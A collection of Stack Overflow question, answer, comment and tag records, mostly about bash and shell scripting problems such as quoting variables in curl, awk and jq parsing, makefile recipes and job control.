has text: Yep, I've been a part of the Bash IRC channel since the 90s - I get it. Also, I don't like it either but the annoyance is real. And, annoyances are part of what we automate away. @tink, I like the vim suggestion, thank you.
type: QuestionComment

http://stackoverflow.com/comment/136083395
has text: `mysql -e "LOAD DATA ..."` https://dev.mysql.com/doc/refman/8.0/en/mysql-command-options.html#option_mysql_execute
score: 0
type: Comment
comment on: http://stackoverflow.com/q/77192288
type: QuestionComment

http://stackoverflow.com/comment/136027777
score: 2
has text: `if false; then ... fi` runs the command `false(1)`, which always returns failure. `if [ false ]; then ... fi` runs the command `test(1)` (or a built in equivalent), which returns success because the string "false" is not empty.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77161159

http://stackoverflow.com/comment/136105782
score: 1
type: Comment
has text: There's little chance that's their desktop distribution, sure, but we don't know they're writing software to run on their desktop. This is a variety of caution that strikes me as in keeping with Postel's Law: if we're teaching a practice, it should be a practice that works as many places as possible unless we're going to explicitly describe the boundaries around its applicability. And it's not _hard_ to describe the circumstances where this answer applies; why spend time arguing vs amending to do so?
type: AnswerComment
comment on: http://stackoverflow.com/a/77204784

http://stackoverflow.com/a/77161473
answers question: http://stackoverflow.com/q/77161387
has body: I was able to figure it out. The for loop was missing semi-colons: for folder in ${folders[@]}; do echo &quot;${folder}&quot;; done
score: -1
has comment: http://stackoverflow.com/comment/136028748
upvote count: 1
type: Answer
downvote count: 2

http://stackoverflow.com/comment/136106727
type: Comment
comment on: http://stackoverflow.com/a/77204754
type: AnswerComment
has text: Thanks larsks, for a concise and effectual answer while others were eager to -1 and close.
score: 1

http://stackoverflow.com/q/77206252
answer count: 1
has comment: http://stackoverflow.com/comment/136108611
favorite count: 0
downvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77206617
linked to: http://stackoverflow.com/q/6697753
tagged with: curl
accepted answer: http://stackoverflow.com/a/77206617
type: Question
has body: I can execute api-call using terraform, but not bash. This terraform code works: curl -X POST https://circleci.com/api/v2/project/gh/some-organization/${var.repository_name}/envvar \ -H 'Content-Type: application/json' \ -H 'Circle-Token: ${data.aws_ssm_parameter.ct[0].value}' \ -d '{"name":"AWS_ACCOUNT_ID_${upper(var.environment)}","value":"${data.aws_caller_identity.current.account_id}"}' This is my bash code that doesn't work: #!/bin/bash user=$1 repo=$2 lower_env=$3 env=$(echo "$lower_env" | tr '[:lower:]' '[:upper:]') token="1234567890" ...... NEW_ACCESS_KEY_ID="$(aws iam list-access-keys --user-name $user | jq -r '.AccessKeyMetadata[].AccessKeyId')" ...... curl -X POST https://circleci.com/api/v2/project/gh/some-organization/$repo/envvar \ -H 'Content-Type: application/json' \ -H 'Circle-Token:${token}' \ -d '{"name":"AWS_ACCESS_KEY_ID_${env}","value":"\'$NEW_ACCESS_KEY_ID'\"}' As I understand, main problem happens with passing variable token inside curl, I tried shielding - ' '\ - but no luck. -H 'Content-Type: application/json' \ -H 'Circle-Token: \'$token'\' \ -d '{"name":"AWS_SECRET_ACCESS_KEY_${upper(\'$env'\}","value":"\'$NEW_SECRET_ACCESS_KEY'\"}' I tried to echo curl itself from bash, it looks correct: curl -X POST https://circleci.com/api/v2/project/gh/some-ogranization/repo-from-token/envvar -H 'Circle-Token: 1234567890' The working code, the solution: curl -X POST "https://circleci.com/api/v2/project/gh/some-organization/$repo/envvar" \ -H "Content-Type: application/json" \ -H "Circle-Token: $token" \ -d "{\"name\":\"AWS_ACCESS_KEY_ID_${env}\",\"value\":\"$NEW_ACCESS_KEY_ID\"}"
has comment: http://stackoverflow.com/comment/136108618
tagged with: shell
has title: Sending variable inside curl with '' shielding
duplicate of: http://stackoverflow.com/q/6697753
upvote count: 3
has comment: http://stackoverflow.com/comment/136114403
score: 2
tagged with: bash

http://stackoverflow.com/comment/135977828
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77129396
score: 0
has text: @jqurious plz provide an example. i am not an expert at shell and have spend lot of time on google to find a solution to the problem.

http://stackoverflow.com/a/77226269
type: Answer
answers question: http://stackoverflow.com/q/77224625
has body: My first thought is: # with json string as variable named 'my_json' paste -d ' ' <(echo ${my_json} |jq -r '.[].name' | awk '{print $1":"}') <(echo ${my_json} | jq -r '.[].id') # with data store in json file named 'my.json' paste -d ' ' <(jq -r '.[].name' <my.json | awk '{print $1":"}') <(jq -r '.[].id' <my.json) These commands extract keys then append with : by awk, and append the rest values with given json. The 'append' method is done by paste command with delimiters= (not default \t) result: Steve: 25 Joe: 36 Maybe there would be a more elegant solution with pure jq. note To install jq: check here If you want adjust spaces around the colon :, change awk: paste -d ' ' <(jq -r '.[].name' <my.json | awk '{print $1" : "}') <(jq -r '.[].id' <my.json) # result Steve : 25 Joe : 36 paste in tab \t and without colon : paste <(jq -r '.[].name' <my.json) <(jq -r '.[].id' <my.json) # result Steve 25 Joe 36
downvote count: 0
score: 1
upvote count: 1

syntax
tags question: http://stackoverflow.com/q/77075130
type: Tag
tag name: syntax
tags question: http://stackoverflow.com/q/78419580
tags question: http://stackoverflow.com/q/78319248

http://stackoverflow.com/a/77085391
type: AcceptedAnswer
score: 0
type: Answer
answers question: http://stackoverflow.com/q/77085340
has body: Use more quotes ! curl -H "Content-Type: application/json" -v -k "$ENDPOINT" -d "$BODY" The -X POST is not needed when using -d switch Learn how to quote properly in shell, it's very important : "Double quote" every literal that contains spaces/metacharacters and every expansion: "$var", "$(command "$var")", "${array[@]}", "a & b". Use 'single quotes' for code or literal $'s: 'Costs $5 US', ssh host 'echo "$HOSTNAME"'. See http://mywiki.wooledge.org/Quotes http://mywiki.wooledge.org/Arguments https://web.archive.org/web/20230224010517/https://wiki.bash-hackers.org/syntax/words when-is-double-quoting-necessary
accepted answer of: http://stackoverflow.com/q/77085340

http://stackoverflow.com/a/77060621
has body: If you want to rename the file to lower case, use this : for file in fav*.jpg; do new_file="$(echo "$file" | tr 'A-Z' 'a-z')" mv -i "$file" "/new/path/$new_file" done
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/135849930
accepted answer of: http://stackoverflow.com/q/77060550
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135849689
answers question: http://stackoverflow.com/q/77060550

http://stackoverflow.com/comment/136037816
comment on: http://stackoverflow.com/q/77129396
type: Comment
score: 0
has text: @user1934428 I understand, I found the solution by testing it to all the possible inputs ...as pointed by jhnc the input file had dos line endings.
type: QuestionComment

http://stackoverflow.com/comment/136032370
has text: @pjh thanks for that, as I wrote and as you confirmed: I used an answer I found here as a base of my attempt. That article I took the idea from had not a single comment about how broken _for f in [find]_ (not _for f in $(ls …))_ is.)
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77161643

http://stackoverflow.com/comment/136094662
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77198302
has text: It would just be `["bash", "yourscript"]` without the `"-c"` if you're trying to state which shell you want to use to run the script -- and that way you'd only be running _one_ shell, not two. (It's bad practice, but... as you say, doing awful things can be hard to avoid on Windows). The `-c` is better if you want the shebang to be honored so Python can be wrong about which interpreter is the correct one to run your script with, but you're paying a significant startup-time penalty for that indirection.
type: QuestionComment

http://stackoverflow.com/a/77142355
has comment: http://stackoverflow.com/comment/135993684
has comment: http://stackoverflow.com/comment/135993741
type: Answer
has body: Using awk: $ v="something" $ awk -F= -v value="$v" '$1 ~ "my_value" && $2 ~ value {getline; print $2}' file sure
has comment: http://stackoverflow.com/comment/135993618
has comment: http://stackoverflow.com/comment/135995348
score: 0
has comment: http://stackoverflow.com/comment/135995359
answers question: http://stackoverflow.com/q/77141159
has comment: http://stackoverflow.com/comment/135993667

http://stackoverflow.com/comment/135986343
comment on: http://stackoverflow.com/q/77138083
score: 0
has text: I don't understand this issue :/
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135920023
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77100448
has text: Check Microsoft ClickOnce. It's a deployment method for .net based code that can be executed right away without installing it first. https://learn.microsoft.com/en-us/visualstudio/deployment/clickonce-security-and-deployment?view=vs-2022

http://stackoverflow.com/comment/136179719
type: AnswerComment
comment on: http://stackoverflow.com/a/77230785
score: 0
has text: My purpose is replacing the values in .js by the values in range D2:D4. The value format in .js is 6:7.000, 12:6.000, 24:5.000, but these values in .js will be written by the values in range D2:D4 when there are changes in value in range D2:D4 and when I implement the codes. The values in range D2:D4 are obtained from other sources.
type: Comment

http://stackoverflow.com/comment/136025306
type: Comment
score: 1
comment on: http://stackoverflow.com/q/77145853
type: QuestionComment
has text: Have you checked if this is a permissions problem? I believe the concurrent manager runs as "applmgr" - have you tried running the shell as that user and/or ensuring the file is readable?

http://stackoverflow.com/comment/135892398
comment on: http://stackoverflow.com/a/77070447
type: Comment
type: AnswerComment
has text: Thanks @John. Got it, so ideally I would simply install conda system wide so it should be in the default path? In this case, the `. .bashrc && ` piece did not resolve the issue nor was it necessary. My `.bashrc` file contained a line to escape non-interactive runs, prefaced with the comment `# If not running interactively, don't do anything.` I had to place my `conda`/`mamba` initialization above this line.
score: 0

http://stackoverflow.com/comment/135871781
type: Comment
has text: Is there a vscode setting to launch the shell as a **login** shell? That way your dotfiles get included.
comment on: http://stackoverflow.com/q/77072494
score: 0
type: QuestionComment

http://stackoverflow.com/q/77132631
has comment: http://stackoverflow.com/comment/135978847
tagged with: sh
tagged with: command-line
has title: Shell script - Filter data from log file which having actual process count value
score: 0
upvote count: 2
tagged with: shell
tagged with: linux
has body: I have one following log file (input-data-file.log) and i want to do some filter on input file using shell script (.sh) which give me output which having actual count &gt;0 value (Exclude 0 (zero) count from process data) along with server name in output file. I have below input file --&gt; input-data-file.log : 01:36:04|[user@SERVER-1 bin]$ ./script.sh Data loading lists... HALTED_SOFTSTOP: 0 ASYNC_QUEUED: 0 ACTIVE: 7 HALTED: 0 HALTING: 0 WAITING: 0 WAITING_ON_IO: 3 INTERRUPTED_MAN: 0 INTERRUPTED_AUTO: 0 01:36:18|[user@SERVER-1 bin]$ ./script.sh -list Data loading lists... HALTED_SOFTSTOP: [] ASYNC_QUEUED: [] ACTIVE: [328465405, 328460561, 328465417, 328465409, 328465411] HALTED: [] HALTING: [] WAITING: [] WAITING_ON_IO: [328465211, 328465267, 328466202] INTERRUPTED_MAN: [] INTERRUPTED_AUTO: [] 01:36:33|[user@SERVER-1 bin]$ exit logout Connection to SERVER-1 closed. 01:36:43|[user@SERVER-2 bin]$ ./script.sh Data loading lists... HALTED_SOFTSTOP: 0 ASYNC_QUEUED: 0 ACTIVE: 1 HALTED: 4 HALTING: 0 WAITING: 0 WAITING_ON_IO: 7 INTERRUPTED_MAN: 0 INTERRUPTED_AUTO: 0 01:36:51|[user@SERVER-2 bin]$ ./script.sh -list Data loading lists... HALTED_SOFTSTOP: [] ASYNC_QUEUED: [] ACTIVE: [1731005633, 1731007235] HALTED: [1729578637, 1729078919, 1729411521, 1730174742] HALTING: [] WAITING: [] WAITING_ON_IO: [1578123006, 1578122748, 1578122627, 1578121867, 1578122892, 1578121839, 1578122653, 1578122731, 1578122789, 1578122942, 1578121834, 1578121868, 1578121795, 1578122746, 1578122644] INTERRUPTED_MAN: [] INTERRUPTED_AUTO: [] 01:36:58|[user@SERVER-2 bin]$ exit logout Connection to SERVER-2 closed. 01:37:49|[user@SERVER-3 bin]$ ./script.sh Data loading lists... HALTED_SOFTSTOP: 0 ASYNC_QUEUED: 0 ACTIVE: 0 HALTED: 0 HALTING: 0 WAITING: 0 WAITING_ON_IO: 0 INTERRUPTED_MAN: 0 INTERRUPTED_AUTO: 0 01:37:57|[user@SERVER-3 bin]$ ./script.sh -list Data loading lists... HALTED_SOFTSTOP: [] ASYNC_QUEUED: [] ACTIVE: [] HALTED: [] HALTING: [] WAITING: [] WAITING_ON_IO: [] INTERRUPTED_MAN: [] INTE…
answer count: 1
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77133415
downvote count: 2
tagged with: bash
type: Question
has comment: http://stackoverflow.com/comment/135977601
accepted answer: http://stackoverflow.com/a/77133415

http://stackoverflow.com/a/77139562
type: Answer
has body: On iTerm2 the functionality to click on Hyperlinks using Ctrl/⌘ + click should be already included. If instead you want to output your 20-digit-number links with a different format, I suggest you read this page on Hyperlinks in terminal emulators, especially the Quick Example. You can also think about creating Triggers with the Make Hyperlink action whenever the text in the terminal matches one of the 20-digit-links.
upvote count: 3
accepted answer of: http://stackoverflow.com/q/77139164
score: 3
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/138602150
answers question: http://stackoverflow.com/q/77139164
downvote count: 0

http://stackoverflow.com/a/77153051
score: 2
has comment: http://stackoverflow.com/comment/136013347
downvote count: 0
has body: Whenever you have problems with makefiles, and particularly when you get shell syntax errors from your recipes, the very first thing you must do is remove the @ prefix from your recipes. Leaving it there is like sending all your compiler error messages to /dev/null then trying to figure out what's wrong with your program. In your situation, you have to remember that $(info ...) is a make function, not a shell operation. That means make will expand that function and replace it with the empty string. So this: @if [ -a $(TEST_DIR)/$@.c ]; then \ $(info $(TARG) );\ $(info $(CSEED) );\ $(info "------------------");\ $(info "COMPILING bin dir is $(BIN_DIR)");\ $(MKDIR) $(BIN_DIR);\ $(COPY) $(TEST_DIR)/*.c $(BIN_DIR) || true;\ fi; \ expands to this: if [ -a dir/prog.c ]; then \ ;\ ;\ ;\ ;\ mkdir dir;\ cp test/*.c dir || true;\ fi; \ If you run that at the shell prompt you'll get the same error. That's because the shell removes the backslashes and comes up with: if [ -a dir/prog.c ]; then ;;;;mkdir dir;cp test/*.c dir || true;fi; and ;; is a special character token to the shell (it's the ending of a case statement), so this is a syntax error. Even if it wasn't, you can't have two semicolons in a row without a command; type this at your shell prompt: $ ; ; bash: syntax error near unexpected token `;' You should remove the semicolons after the $(info ...) functions. But, most likely you don't want to use $(info ...) here at all and you should just use echo. That's because all make functions are expanded before the command is sent to the shell, which means that you will see this output even if your if-statement is false; since you included the info "inside" the if-statement I suppose you only wanted to see that output if the if-statement was true.
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/77152949
has comment: http://stackoverflow.com/comment/136015388

http://stackoverflow.com/comment/135971295
comment on: http://stackoverflow.com/q/77129396
type: QuestionComment
type: Comment
has text: You'll need to [edit] your question to define what a "word" means to you because in normal parlance and in the `\w` regexp escape sequence for matching word-constituent characters, word boundaries like `\<` and `\>`, etc. words don't contain `.`s. Also complete your [mcve] by adding an example of a file you'll be searching in and the output you expect given your 2 input files (file containing a list of "words", and a file to look for them in).
score: 1

http://stackoverflow.com/comment/135930725
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/77107084
has text: How do you enter the emoji? If you pipe to hexdump (`printf | hexdump`), what do you get? For me, it's `f09faba2`.

http://stackoverflow.com/q/77095231
has answer: http://stackoverflow.com/a/77095582
answer count: 2
has title: Issue with custom realloc function in c
has comment: http://stackoverflow.com/comment/135912062
has comment: http://stackoverflow.com/comment/135910740
has comment: http://stackoverflow.com/comment/135910524
type: Question
tagged with: shell
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/77096478
has body: I wrote a simple implementation to realloc() that reallocates string pointers that need to be tokenized. realloc() works fine with my tokenizer() on valgrind but i get the following errors on p_reallocdp, ==17128== Invalid read of size 8 ==17128== at 0x1095C5: p_reallocdp (c_stdlib.c:66) ==17128== by 0x10AA88: tokenizer (tokenizer.c:36) ==17128== by 0x10A3B5: shell_loop (shell_loop.c:23) ==17128== by 0x10A16C: main (main.c:42) ==17128== Address 0x4ad8fd0 is 0 bytes after a block of size 64 alloc'd ==17128== at 0x4841848: malloc (vg_replace_malloc.c:431) ==17128== by 0x10954C: _reallocdp (c_stdlib.c:53) ==17128== by 0x10A9EA: tokenizer (tokenizer.c:24) ==17128== by 0x10A3B5: shell_loop (shell_loop.c:23) ==17128== by 0x10A16C: main (main.c:42) char **p_reallocdp(char **ptr, size_t dest) { char **newptr; size_t i; if (ptr == NULL) return (malloc(sizeof(char *) * dest)); /* line 53 */ newptr = malloc(sizeof(char *) * (dest)); for (i = 0; i &lt; dest; i++) newptr[i] = ptr[i]; /* line 66 */ free(ptr); return (newptr); } tokenizer excerpt char **tokens = NULL; char *token; size_t idx = 0; while (token) { tokens = p_reallocdp(tokens, ((idx + 1) * sizeof(char *))); /* line 24 */ tokens[idx] = _strdup(token); idx++; token = _strtok(NULL, delim); } tokens = p_reallocdp(tokens, ((idx + 1) * sizeof(char *))); /* line 36 */
tagged with: http://stackoverflow.com/tag/c
downvote count: 0
has comment: http://stackoverflow.com/comment/135910572
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/135910052
favorite count: 0
has comment: http://stackoverflow.com/comment/135914606

http://stackoverflow.com/comment/136132836
type: QuestionComment
comment on: http://stackoverflow.com/q/77219500
has text: you missed out a space and two slashes: `date -d "Sat Apr 27 11:33:57 CST 2024" +"%Y/%m/%d"`
score: 1
type: Comment

http://stackoverflow.com/comment/135936271
type: Comment
comment on: http://stackoverflow.com/q/77110245
has text: You can redirect output of the script like so: `Exec=/home/pi/Shared/SysmacApp.sh > /some/file/somewhere` and check the content of the output file.
score: 1
type: QuestionComment

http://stackoverflow.com/comment/136105329
type: QuestionComment
type: Comment
has text: _"a task to write one-line script"_ - I don't like the take on that. Why not be open for a _good_ script? One-line or not shouldn't matter.
comment on: http://stackoverflow.com/q/77204604
score: 9

http://stackoverflow.com/comment/135986376
type: QuestionComment
type: Comment
has text: for the record, `Ninja` also exits on linux, and will be a lot faster than `Unix Makefiles` once your program is bigger than two files, so you should be using it instead, the fact that it solves your build problem is extra cherry on the cake.
comment on: http://stackoverflow.com/q/77138083
score: 2

http://stackoverflow.com/comment/135924838
has text: (1) Variables are not expanded between single quotes. Therefore `'TZ="UTC" $date'` does not make sense. (2) See _man date_ on how to specify the time zone, when you want to do it in the `-d` parameter.
score: 1
type: Comment
comment on: http://stackoverflow.com/q/77102508
type: QuestionComment

http://stackoverflow.com/a/77154702
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/77154642
type: Answer
has body: You've run the 4 processes in the background, so the shell is still waiting for your input. The processes, however, are not paying attention to the interrupt signal. You can kill them with job numbers: $ ./cpu A &amp; ./cpu B &amp; ./cpu C &amp; ./cpu D &amp; [1] 9735 [2] 9736 [3] 9737 [4] 9738 $ kill %1 %3 [3] - Terminated ./cpu A &amp; ./cpu B &amp; ./cpu C &amp; ./cpu D &amp; [1] Terminated ./cpu A &amp; ./cpu B &amp; ./cpu C &amp; ./cpu D &amp; $ kill %2 %4 [4] + Terminated ./cpu A &amp; ./cpu B &amp; ./cpu C &amp; ./cpu D &amp; [2] - Terminated ./cpu A &amp; ./cpu B &amp; ./cpu C &amp; ./cpu D &amp; $ I've suppressed the output from the 4 programs, of course. Since you were given the PIDs of the processes, you could also use those with kill: kill 9735 9736 9737 9738 would also have killed the four background processes. The kill command sends the SIGTERM signal by default.
score: 5
downvote count: 0
upvote count: 5
accepted answer of: http://stackoverflow.com/q/77154642

http://stackoverflow.com/a/77196684
has body: Instead of shell_exec($wkhtmltopdfCommand); try $result = passthru($wkhtmltopdfCommand . ' 2&gt;&amp;1'); var_dump($result); and it should tell you what's wrong.
has comment: http://stackoverflow.com/comment/136091353
type: Answer
has comment: http://stackoverflow.com/comment/136097294
score: 0
has comment: http://stackoverflow.com/comment/136095490
has comment: http://stackoverflow.com/comment/136094421
answers question: http://stackoverflow.com/q/77191993
has comment: http://stackoverflow.com/comment/136091121
has comment: http://stackoverflow.com/comment/136091511
has comment: http://stackoverflow.com/comment/136095439

http://stackoverflow.com/comment/136158211
score: 0
type: QuestionComment
has text: [Shellcheck](https://www.shellcheck.net/) identifies many problems with the code (including the cause of the "command not found" error). The report that it produces includes links to more information about the problems and how to fix them. It's a good idea to run [Shellcheck](https://www.shellcheck.net/) on all new and modified shell code.
type: Comment
comment on: http://stackoverflow.com/q/77233783

http://stackoverflow.com/comment/135910524
has text: tried as much to follow mre. updated code with tokenzer and ptr points to a valid memory nulled on first attempt
type: Comment
comment on: http://stackoverflow.com/q/77095231
score: 0
type: QuestionComment

decimal
type: Tag
tags question: http://stackoverflow.com/q/77083852
tag name: decimal
tags question: http://stackoverflow.com/q/79127985

google-cloud-storage
tag name: google-cloud-storage
type: Tag
tags question: http://stackoverflow.com/q/77200388
tags question: http://stackoverflow.com/q/77461838

http://stackoverflow.com/comment/136002697
score: 0
comment on: http://stackoverflow.com/a/77147179
has text: I didn't use an `env.sh` file, just created it in the terminal as my screenshot shows. https://i.sstatic.net/7gnk7.png
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135900851
type: Comment
has text: you are right. I noticed that what I was really missing was the `''` in `new_text='${text}${year}'`
score: 0
comment on: http://stackoverflow.com/q/77089730
type: QuestionComment

http://stackoverflow.com/a/77065288
accepted answer of: http://stackoverflow.com/q/77065180
type: Answer
answers question: http://stackoverflow.com/q/77065180
type: AcceptedAnswer
score: 4
upvote count: 4
downvote count: 0
has body: I suggest you to replace your command with: find . -name &quot;*.sb.*&quot; -print -exec bzip2 {} \;

http://stackoverflow.com/comment/136142508
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/77222077
has text: Thanks so much for your help, @Charles Duffy. The second block of script worked so well and efficient. It's just what I wanted.

http://stackoverflow.com/a/77096393
type: Answer
answers question: http://stackoverflow.com/q/77096305
score: 0
has body: Before any execution, shells substitute (expand) variables. In the first command you create (on Secondary) an environment variable called CI with the value of the one provided from Main: export CI=$CI. The command export CI=$CI is executed on Secondary but the variable $CI is expanded on Main before the command is launched (the shell on Main expands the variables). The substitution gives export CI=CD, exactly as it would have been typed like this. In the second, you create an empty environment variable (export CI).

http://stackoverflow.com/comment/136128838
has text: Please take a look at [How do I format my posts using Markdown or HTML?](https://stackoverflow.com/help/formatting).
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77217613
type: Comment

http://stackoverflow.com/a/77196763
has comment: http://stackoverflow.com/comment/136091665
score: 3
type: AcceptedAnswer
upvote count: 3
has comment: http://stackoverflow.com/comment/136091282
accepted answer of: http://stackoverflow.com/q/77196656
downvote count: 0
has body: Since you loop and do cd $dir in each iteration of the loop, you need to return to the directory that was the current directory before cd $dir after you've run the script, or else the next iteration will try to cd from the previous $dir, which will most likely fail if you are using relative paths. The most convenient solution is to run it in a subshell: (cd "$dir" && /scripts/myScript.py -f "$dir.xml") That way, the current shell will never cd and the next iteration will have the same current directory as the previous one.
has comment: http://stackoverflow.com/comment/136092782
type: Answer
answers question: http://stackoverflow.com/q/77196656

http://stackoverflow.com/comment/135963399
type: Comment
type: AnswerComment
has text: You said: *This job is for awk not for sed.* ... See [my answer](https://stackoverflow.com/a/77124913/1765658)!
score: 0
comment on: http://stackoverflow.com/a/77124873

http://stackoverflow.com/comment/136038516
has text: (Also, keep in mind that it's copying a _pointer_, so both 3 and 1 point to the same kernel object; this is why reading from FD 0 after `<&3` is run also changes the location within the file for the FD 3 descriptor, which is pointed at the same handle)
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77166714

http://stackoverflow.com/comment/135978969
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/77129396
has text: @jhnc ..thanks for pointing it out it indeed had dos line endings after using gedit save as then selecting encoding utf-8 (it was already in utf-8) and linux option solved the problem.

http://stackoverflow.com/comment/135912264
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77096322
has text: Note that the field denotation for `sort` can have the form `-k M.N`, in which case M is the field number and N is the offset in characters inside the field. If you want to use field 2, but starting with the forth character, it would be `-k 2.4`.
score: 2

http://stackoverflow.com/comment/135957917
type: Comment
has text: aliases are only active inside an interactive shell - `bash -i` creates one. It's also possible `/bin/sh` points to another shell so you should be explicit and run `bash` e.g. `subprocess.run(["bash", "-ic", "test"])`
comment on: http://stackoverflow.com/q/77122565
score: 1
type: QuestionComment

http://stackoverflow.com/comment/136002669
has text: Are exported variables globally scoped? When I use another terminal to set the variable, it doesn't seem to work. https://i.sstatic.net/7gnk7.png
score: 0
comment on: http://stackoverflow.com/a/77147179
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136100108
score: 0
type: Comment
comment on: http://stackoverflow.com/q/77201945
has text: https://stackoverflow.com/questions/30998558/empty-function-in-bash
type: QuestionComment

http://stackoverflow.com/a/77154502
has body: Shells are not only in Unix. Have you heard of an "expert system shell"? Windows has a shell. No, not PowerShell (that too), but the Explorer is also referred to as the Windows Shell. It has an API, which lives in the shellapi.dll, which has functions like ShellExecuteEx. So that is a graphical shell, in which you execute graphical commands (e.g. clicking on something to open it, or dragging from one folder to another) rather than textual command lines. "Shell" means, roughly speaking, the user-facing layer: user interface. I think that it particularly refers to a situation in which the system has other interfaces, like programming interfaces. The shell is a separate program which is uses those interfaces, and which could, in principle, be replaced by another one. So, probably, we wouldn't refer to, say, the command interpreter in a boot-loader like U-Boot as a shell; it's not a separate program written to a middleware API exposed by U-Boot. As another example, the command processor inside a modem which accepts AT commands isn't referred to as a shell, either.
score: 1
type: Answer
answers question: http://stackoverflow.com/q/77148690
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/77228627
tagged with: vba
has title: vba code to open myscript.js through notepad, and replace specific texts inside by the value from spreadsheet
answer count: 2
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/77229523
has answer: http://stackoverflow.com/a/77230785
has body: I want open myscript.js through notepad, and replace the specific texts inside by the values from worksheet. For example, inside myscript.js I have 6:7.400, 12:6.500, 24:7.000. I want to replace these 3 texts by the values from worksheet "Sheet1" range D2 to D4, say '6:7.100', '12:6.000', '24:7.200' without changes the format inside myscript.js. After replacement, I want to save myscript.js I just tried open myscript.js through notepad, but no idea how to change the texts inside and how to save myscript.js, Sub js() Dim pth As String pth = "K:\MVS\temp\myscript.js" Shell "Notepad.exe " & pth, vbNormalFocus End Sub
accepted answer: http://stackoverflow.com/a/77230785
score: 0
has answer: http://stackoverflow.com/a/77229523
type: Question
tagged with: shell

http://stackoverflow.com/a/77208698
type: Answer
score: 0
answers question: http://stackoverflow.com/q/77208432
has body: The WORKDIR is already /home/app. Try changing the CMD to just entrypoint.sh

network-programming
tag name: network-programming
tags question: http://stackoverflow.com/q/77070425
type: Tag
tags question: http://stackoverflow.com/q/78614903
tags question: http://stackoverflow.com/q/78604062

http://stackoverflow.com/q/77090384
has body: I'm building a hugo site via a make command, typically triggered by a git hook after pushing some files. It's working well, but I'm paranoid that at some point the build will happen concurrently and this will cause conflicts or corruption somehow. Is there a way to tell a make recipe not to execute if a previous invocation of the recipe has not finished yet? A test for this could be something like: test: printf "Start run of make recipe at $$(date)\n" &> demo.txt && sleep 30s && printf "Finish run of make recipe at $$(date)" &>> demo.txt & If you run make test, then again run make test within the 30s sleep window, the demo.txt file is immediately overwritten with the output of the second iteration. I have not been able to use job management or wait to prevent the overwrite.
has comment: http://stackoverflow.com/comment/135917606
type: Question
tagged with: shell
tagged with: makefile
has title: How to prevent a make recipe from running before the same previous make command has finished
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135902500
score: 0
answer count: 0
tagged with: bash
has comment: http://stackoverflow.com/comment/135901767
has comment: http://stackoverflow.com/comment/135901811

http://stackoverflow.com/comment/136107784
has text: [Don't use `ls` in scripts.](http://mywiki.wooledge.org/ParsingLs)
comment on: http://stackoverflow.com/a/77205722
score: 1
type: Comment
type: AnswerComment

godot
type: Tag
tag name: godot
tags question: http://stackoverflow.com/q/77216250

http://stackoverflow.com/comment/136118352
comment on: http://stackoverflow.com/q/77211940
has text: It looks like your interactive session is using `zsh`, but you're running the shell script using `sh`. It's not surprising that you're seeing different behavior.
score: 2
type: QuestionComment
type: Comment

http://stackoverflow.com/a/77145348
has comment: http://stackoverflow.com/comment/135999248
type: Answer
has body: There isn't really a great way to compute time differences using basic UNIX tools. Computation involving dates easily gets tricky with leap years and leap seconds, and so on, it's really best to use proper programming libraries that are explicitly built to handle all that complexity. You can do this for example with Python, and hopefully it still falls within your definition of "linux tools". This Python one-liner takes the start and end times in the format in your example, and prints their difference in seconds: python3 -c 'import sys; _, start, end = sys.argv; from datetime import datetime; format = "%H:%M:%S.%f"; delta = datetime.strptime(end, format) - datetime.strptime(start, format); print(delta.microseconds)' "12:53:12.219691" "12:53:12.846539" The output is an unspectacular 0 since the difference in the posted example is less than a second. You may want to print seconds and microseconds, by changing print(delta.microseconds) to print(f"{delta.seconds}.{delta.microseconds}"). To print in some other formats or other details, adjust the print statement.
answers question: http://stackoverflow.com/q/77142682
score: 0

http://stackoverflow.com/a/77129524
has body: Use ${var:+"$var"} This works because the alternate value respects quotes: unset var set -- ${var:+"$var"} echo "Unset: $# args" var="" set -- ${var:+"$var"} echo "Blank: $# args" var="foo bar" set -- ${var:+"$var"} echo "Multiple words: $# args" outputs Unset: 0 args Blank: 0 args Multiple words: 1 args (To pass empty strings but not unset values, use ${var+"$var"} without the colon)
type: Answer
answers question: http://stackoverflow.com/q/77129361
score: 3
type: AcceptedAnswer
upvote count: 3
has comment: http://stackoverflow.com/comment/135971498
accepted answer of: http://stackoverflow.com/q/77129361
downvote count: 0

http://stackoverflow.com/comment/136105084
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77204152
type: Comment
has text: Comments should be formatted as **comments** -- make sure everything in a code section is actually valid shell syntax; the point of a [mre] is so someone else can copy-and-paste with no changes to see the same behavior themselves and test proposed answers. In this case, that means `# => ...` instead of just `=> ...`

http://stackoverflow.com/q/77124679
has answer: http://stackoverflow.com/a/77124930
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135964094
upvote count: 1
has body: I tried adb shell cmd device_config put privacy camera_mic_icons_enabled false default but it keeps coming back and now even this is not working ? Is there are any way to disable it permanently ? My device is non rooted , please help me disable this annoying green notification/indicator . Is there any official way to disable it ?
tagged with: android
